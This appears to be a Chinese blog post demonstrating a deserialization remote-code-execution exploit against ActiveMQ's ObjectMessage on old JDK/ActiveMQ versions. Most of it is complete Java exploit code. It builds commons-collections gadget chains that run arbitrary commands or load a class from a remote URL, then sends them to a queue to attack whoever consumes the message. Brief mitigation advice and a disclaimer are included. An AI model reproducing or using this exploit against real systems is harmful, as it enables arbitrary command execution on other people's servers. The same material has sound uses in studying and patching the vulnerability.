最近研究了下ActiveMQ的ObjectMessage漏洞,就是反射的漏洞。
(貌似jdk就有反射漏洞,jmrrmi之类的,自己去研究吧)
经过测试此漏洞在jdk1.8或者ActiveMQ-5.13已经修复。
一、测试攻击的环境
1.ActiveMQ-5.9
2.jdk1.6
依赖的jar包,红色箭头的,剩下的自己看需不需要了。
好像主要就是commons-collections.jar 出现的漏洞,有点忘了
![]()
二、实现
PayloadGeneration.java 攻击类
MQTest3 测试类
首先启动ActiveMQ,这个就不用我说了吧。
注:MQ调用中,账户、密码、连接根据实际情况进行相应的修改
三、效果
谁消费信息,谁倒霉。
在靶机上执行任何程序有权限的 cmd 命令(linux没有测试,不过相信一样可以实现)
四、延展及防护
1.组合命令自己看代码修改
2.当然有漏洞就要修了
要么升级jdk到1.8
要么升级ActiveMQ到5.13
要么就不要使用ObjectMessage的方式的队列
当然如果不方便升级环境,那就一定要配置好MQ的账号密码,配置好防火墙规则。。。
五、声明:搞破坏是不道德的,后果自负。
-----------------------------代码分割线---------------------------------
PayloadGeneration.java 攻击类代码
package com.zkl.rmi;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.net.MalformedURLException;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
public class PayloadGeneration {
public static Object generateExecPayload(String cmd) throws Exception
{
return getPayloadObject(getExecTransformer(cmd));
}
public static Object generateURLClassLoaderPayload(String url, String classNmae, String method, String cmd ) throws Exception
{
return getPayloadObject(getURLClassLoaderTransformer(url, classNmae, method, cmd));
}
public static Object generateLazyMapExecPayload(String cmd) throws Exception
{
return getLazyMapPayloadObject(getExecTransformer(cmd));
}
public static Object generateLazyMapURLClassLoaderPayload(String url, String classNmae, String method, String cmd ) throws Exception
{
return getLazyMapPayloadObject(getURLClassLoaderTransformer(url, classNmae, method, cmd));
}
private static Object getPayloadObject(Transformer transformerChain) throws Exception
{
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outmap = TransformedMap.decorate(innerMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
@SuppressWarnings({ "unchecked", "rawtypes" })
Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
ctor.setAccessible(true);
Object instance = ctor.newInstance(new Object[] { Retention.class, outmap });
return instance;
}
private static Object getLazyMapPayloadObject(Transformer transformerChain) throws Exception
{
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
InvocationHandler invo = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Retention.class, lazyMap);
Map mapProxy = Map.class.cast(Proxy.newProxyInstance(PayloadGeneration.class
.getClassLoader(), new Class[] { Map.class }, invo));
InvocationHandler handler = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Retention.class, mapProxy);
return handler;
}
private static Constructor getFirstCtor(final String name)
throws Exception {
final Constructor ctor = Class.forName(name)
.getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
private static Transformer getExecTransformer(String cmd)
{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class,Class[].class },
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {cmd})
};
Transformer transformerChain = new ChainedTransformer(transformers);
return transformerChain;
}
private static Transformer getURLClassLoaderTransformer(String url, String classNmae, String method, String cmd ) throws MalformedURLException
{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] {Class[].class},
new Object[] {new Class[]{java.net.URL[].class}}
),
new InvokerTransformer("newInstance",
new Class[] {Object[].class},
new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(url) }}}
),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { classNmae }
),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{method, new Class[]{String.class}}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new String[]{cmd}}
)
};
Transformer transformerChain = new ChainedTransformer(transformers);
return transformerChain;
}
} MQTest3 测试类代码
package com.zkl.mq;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Arrays;
import javax.jms.Connection;
import javax.jms.ConnectionFactory;
import javax.jms.DeliveryMode;
import javax.jms.Destination;
import javax.jms.JMSException;
import javax.jms.Message;
import javax.jms.MessageConsumer;
import javax.jms.MessageProducer;
import javax.jms.ObjectMessage;
import javax.jms.Session;
import org.apache.activemq.ActiveMQConnectionFactory;
import com.zkl.rmi.PayloadGeneration;
public class MQTest3 {
public static void main(String[] args) throws Exception {
MQinfo mqinfo = new MQinfo();
mqinfo.setUrl("failover:(tcp://localhost:61616)?jms.useAsyncSend=true");
mqinfo.setUsername("queue");
mqinfo.setPassword("queue");
sendTest( mqinfo);
testReceiver(mqinfo);
}
/**
* 发送请求
*/
public static void sendTest(MQinfo mqinfo) throws Exception{
Object instance = PayloadGeneration.generateExecPayload("calc");//此处执行命令
// 1.创建链接工厂
// ConnectionFactory :连接工厂,JMS 用它创建连接
ActiveMQConnectionFactory connectionFactory;
// Connection :JMS 客户端到JMS Provider 的连接
Connection connection = null;
// Session: 一个发送或接收消息的线程
Session session = null;
// Destination :消息的目的地;
Destination destination;
// MessageProducer:消息发送者
MessageProducer producer = null;
try {
connectionFactory = new ActiveMQConnectionFactory(mqinfo.getUsername(),mqinfo
.getPassword(), mqinfo.getUrl());
//connectionFactory.setTrustedPackages(new ArrayList(Arrays.asList("com.zkl.mq.GoodsputCenterToZoneReq,com.zkl.mq.Msg".split(","))));
// 构造从工厂得到连接对象
connection = connectionFactory.createConnection();
// 启动
connection.start();
// 获取操作连接
session = connection.createSession(Boolean.FALSE,
Session.AUTO_ACKNOWLEDGE);
// 获取session注意参数值xingbo.xu-queue是一个服务器的queue,须在在ActiveMq的console配置
destination = session.createQueue("mqbugtest");
// 得到消息生成者【发送者】
producer = session.createProducer(destination);
// 设置不持久化,此处学习,实际根据项目决定
producer.setDeliveryMode(DeliveryMode.NON_PERSISTENT);
// Create a messages
ObjectMessage objMsg = session.createObjectMessage();
objMsg.setObject((Serializable) instance);
producer.send(objMsg);
} catch (Exception e) {
e.printStackTrace();
} finally {
// Clean up
release(connection, session, producer, null);
}
}
/**
* 接受请求
*/
public static void testReceiver(MQinfo mqinfo) {
// 1.创建链接工厂
// ConnectionFactory :连接工厂,JMS 用它创建连接
ActiveMQConnectionFactory connectionFactory;
// Connection :JMS 客户端到JMS Provider 的连接
Connection connection = null;
// Session: 一个发送或接收消息的线程
Session session = null;
// Destination :消息的目的地;
Destination destination = null;
// 消费者,消息接收者
MessageConsumer consumer = null;
try {
connectionFactory = new ActiveMQConnectionFactory( mqinfo.getUsername(),mqinfo
.getPassword(), mqinfo.getUrl());
//connectionFactory.setTrustedPackages(new ArrayList(Arrays.asList("com.zkl.mq".split(","))));
//connectionFactory.setTrustAllPackages(true);
// 构造从工厂得到连接对象
connection = connectionFactory.createConnection();
// 启动
connection.start();
// 获取操作连接
session = connection.createSession(Boolean.FALSE,
Session.AUTO_ACKNOWLEDGE);
// 获取session注意参数值xingbo.xu-queue是一个服务器的queue,须在在ActiveMq的console配置
destination = session.createQueue("mqbugtest");
// Create a messages
consumer = session.createConsumer(destination);
Message msg = consumer.receive(1000l);
Msg msgr = (Msg) ((ObjectMessage) msg).getObject();
} catch (Exception e) {
e.printStackTrace();
} finally {
// Clean up
release(connection, session, null, consumer);
}
}
public static void release(Connection connection, Session session,
MessageProducer producer, MessageConsumer consumer) {
try {
if (producer != null)
producer.close();
} catch (JMSException e) {
e.printStackTrace();
} finally {
try {
if (consumer != null)
consumer.close();
} catch (JMSException e) {
e.printStackTrace();
} finally {
try {
if (session != null)
session.close();
} catch (JMSException e) {
e.printStackTrace();
} finally {
try {
if (connection != null)
connection.close();
} catch (JMSException e) {
e.printStackTrace();
}
}
}
}
}
}
乐享:知识积累,快乐无限。